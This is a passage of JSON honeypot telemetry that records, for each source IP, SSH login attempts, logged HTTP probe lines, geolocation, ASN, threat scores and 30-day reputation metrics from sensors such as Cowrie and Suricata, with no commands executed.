        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:14:19.855000+00:00",
        "last_seen_30d": "2026-04-28T02:29:31.525000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "209.38.34.156": {
      "attack_count": 10,
      "first_seen": "2026-04-10T18:50:34.328Z",
      "last_seen": "2026-04-11T04:25:08.878Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech#2023",
        "Kelltech123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T18:50:34.328000+00:00",
        "last_seen_30d": "2026-04-11T04:26:14.220000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "66.132.186.160": {
      "attack_count": 10,
      "first_seen": "2026-04-21T08:33:00.410Z",
      "last_seen": "2026-04-27T03:37:10.547Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 28,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T06:01:44+00:00",
        "last_seen_30d": "2026-04-28T16:14:06.065000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 65,
        "Cowrie": 10,
        "Redishoneypot": 6,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "147.139.136.75": {
      "attack_count": 9,
      "first_seen": "2026-04-03T13:26:36.688Z",
      "last_seen": "2026-04-27T19:01:23.774Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 51.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 20.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 25,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T13:26:36.688000+00:00",
        "last_seen_30d": "2026-04-27T19:02:25.979000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 9,
        "Honeytrap": 3
      }
    },
    "64.62.156.202": {
      "attack_count": 9,
      "first_seen": "2026-04-12T12:41:27.845Z",
      "last_seen": "2026-04-22T12:36:16.610Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 313,
        "days_active_30d": 30,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T11:52:23+00:00",
        "last_seen_30d": "2026-04-30T15:47:50.567000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 202,
        "Honeytrap": 66,
        "Ciscoasa": 14,
        "Mailoney": 12,
        "Cowrie": 9,
        "Dionaea": 3,
        "Tanner": 3,
        "ConPot": 2,
        "CitrixHoneypot": 1,
        "Miniprint": 1
      }
    },
    "198.235.24.65": {
      "attack_count": 8,
      "first_seen": "2026-04-13T15:32:49.582Z",
      "last_seen": "2026-04-25T16:35:05.039Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T02:42:44.308000+00:00",
        "last_seen_30d": "2026-04-30T21:55:52.498000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 23,
        "Cowrie": 8,
        "Dionaea": 1
      }
    },
    "219.78.63.235": {
      "attack_count": 8,
      "first_seen": "2026-04-10T18:25:34.903Z",
      "last_seen": "2026-04-27T12:10:08.775Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T18:25:34.903000+00:00",
        "last_seen_30d": "2026-04-27T12:11:12.613000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "64.226.90.53": {
      "attack_count": 8,
      "first_seen": "2026-04-03T02:31:30.984Z",
      "last_seen": "2026-04-03T02:31:41.848Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET /v2/_catalog HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 2.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 3,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T04:47:14+00:00",
        "last_seen_30d": "2026-04-03T17:48:44.082000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 20,
        "Cowrie": 8
      }
    },
    "13.86.105.235": {
      "attack_count": 7,
      "first_seen": "2026-04-26T02:29:20.589Z",
      "last_seen": "2026-04-26T02:29:30.590Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 16.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 29,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T14:45:09.376000+00:00",
        "last_seen_30d": "2026-04-29T07:37:11.036000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Cowrie": 7,
        "Honeytrap": 4,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "45.153.34.213": {
      "attack_count": 7,
      "first_seen": "2026-04-21T07:47:06.914Z",
      "last_seen": "2026-04-21T07:47:09.369Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "ks"
      ],
      "passwords_attempted": [
        "ks"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 63.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.7,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 737,
        "days_active_30d": 23,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T19:55:59.676000+00:00",
        "last_seen_30d": "2026-04-23T10:38:09.636000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 446,
        "Honeytrap": 284,
        "Cowrie": 7
      }
    },
    "138.197.74.202": {
      "attack_count": 6,
      "first_seen": "2026-04-05T15:17:02.435Z",
      "last_seen": "2026-04-05T15:17:03.015Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:17:02.435000+00:00",
        "last_seen_30d": "2026-04-05T15:18:11.868000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "123.156.230.101": {
      "attack_count": 5,
      "first_seen": "2026-04-03T16:00:03.466Z",
      "last_seen": "2026-04-03T16:00:05.969Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ansible"
      ],
      "passwords_attempted": [
        "ansible"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T16:00:03.466000+00:00",
        "last_seen_30d": "2026-04-03T16:01:09.917000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "46.101.166.141": {
      "attack_count": 5,
      "first_seen": "2026-04-20T15:15:30.298Z",
      "last_seen": "2026-04-20T15:15:30.602Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 164589,
        "days_active_30d": 5,
        "ports_targeted_30d": 64651,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-20T15:14:19+00:00",
        "last_seen_30d": "2026-04-24T13:03:12.705000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 139069,
        "Honeytrap": 25466,
        "Mailoney": 12,
        "Dionaea": 11,
        "Miniprint": 8,
        "ConPot": 7,
        "Cowrie": 5,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "125.138.115.99": {
      "attack_count": 4,
      "first_seen": "2026-04-27T20:40:43.416Z",
      "last_seen": "2026-04-29T16:04:06.650Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T20:40:43.416000+00:00",
        "last_seen_30d": "2026-04-29T16:05:07.433000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "216.226.76.20": {
      "attack_count": 4,
      "first_seen": "2026-04-27T05:17:33.659Z",
      "last_seen": "2026-04-27T05:17:34.192Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 50219,
      "as_org": "Valence Technology Co.",
      "threat_score": 63.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 7,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-23T17:04:41.960000+00:00",
        "last_seen_30d": "2026-04-29T05:18:01.929000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 21,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "220.72.32.117": {
      "attack_count": 4,
      "first_seen": "2026-04-03T18:00:59.578Z",
      "last_seen": "2026-04-05T08:03:46.162Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Nowon-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T18:00:59.578000+00:00",
        "last_seen_30d": "2026-04-05T08:06:13.259000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "44.201.180.168": {
      "attack_count": 4,
      "first_seen": "2026-04-25T00:55:41.662Z",
      "last_seen": "2026-04-25T00:55:49.397Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-17T00:57:00+00:00",
        "last_seen_30d": "2026-04-30T00:58:02.866000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "64.62.156.12": {
      "attack_count": 4,
      "first_seen": "2026-04-03T12:56:26.691Z",
      "last_seen": "2026-04-03T12:56:30.692Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 73.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 30,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:12:52+00:00",
        "last_seen_30d": "2026-04-30T11:52:35.323000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "66.132.224.225": {
      "attack_count": 4,
      "first_seen": "2026-04-03T16:38:19.592Z",
      "last_seen": "2026-04-03T16:38:34.924Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 89.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 30,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T23:36:04+00:00",
        "last_seen_30d": "2026-04-30T20:08:36.502000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 12,
        "Cowrie": 4,
        "ElasticPot": 4,
        "ConPot": 3,
        "Dionaea": 1
      }
    },
    "104.152.52.67": {
      "attack_count": 3,
      "first_seen": "2026-04-20T06:47:35.220Z",
      "last_seen": "2026-04-20T06:47:35.222Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 13.3,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 16,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T16:06:20.019000+00:00",
        "last_seen_30d": "2026-04-26T06:33:28.742000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 3
      }
    },
    "120.48.22.219": {
      "attack_count": 3,
      "first_seen": "2026-04-16T20:31:13.221Z",
      "last_seen": "2026-04-16T20:33:13.280Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 7.5,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 9,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T18:50:06.293000+00:00",
        "last_seen_30d": "2026-04-17T15:20:03.397000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "185.38.148.2": {
      "attack_count": 3,
      "first_seen": "2026-04-28T11:25:28.290Z",
      "last_seen": "2026-04-28T11:26:29.145Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 68.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.0,
        "persistence": 20.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 314,
        "days_active_30d": 25,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T10:44:08.570000+00:00",
        "last_seen_30d": "2026-04-28T11:27:33.060000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 173,
        "Tanner": 136,
        "Cowrie": 3,
        "Honeytrap": 2
      }
    },
    "5.189.148.247": {
      "attack_count": 3,
      "first_seen": "2026-04-06T06:10:28.137Z",
      "last_seen": "2026-04-06T06:11:29.939Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T06:10:28.137000+00:00",
        "last_seen_30d": "2026-04-06T06:12:38.949000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "80.94.95.221": {
      "attack_count": 3,
      "first_seen": "2026-04-29T07:06:14.896Z",
      "last_seen": "2026-04-29T07:06:15.039Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 29,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T10:01:29.795000+00:00",
        "last_seen_30d": "2026-04-30T19:38:18.993000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111,
        "Honeytrap": 68,
        "Dionaea": 6,
        "Redishoneypot": 6,
        "Adbhoney": 4,
        "Cowrie": 3
      }
    },
    "106.74.128.226": {
      "attack_count": 2,
      "first_seen": "2026-04-27T17:57:26.129Z",
      "last_seen": "2026-04-27T17:57:26.694Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133118,
      "as_org": "China Unicom IP network",
      "threat_score": 44.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 8.5,
        "persistence": 21.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 26,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T00:02:47+00:00",
        "last_seen_30d": "2026-04-27T17:58:31.878000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "121.175.52.154": {
      "attack_count": 2,
      "first_seen": "2026-04-20T08:39:36.723Z",
      "last_seen": "2026-04-20T08:39:49.758Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T08:39:36.723000+00:00",
        "last_seen_30d": "2026-04-20T08:40:55.452000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.167.253.55": {
      "attack_count": 2,
      "first_seen": "2026-04-25T16:46:42.998Z",
      "last_seen": "2026-04-25T16:46:56.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mangaluru",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
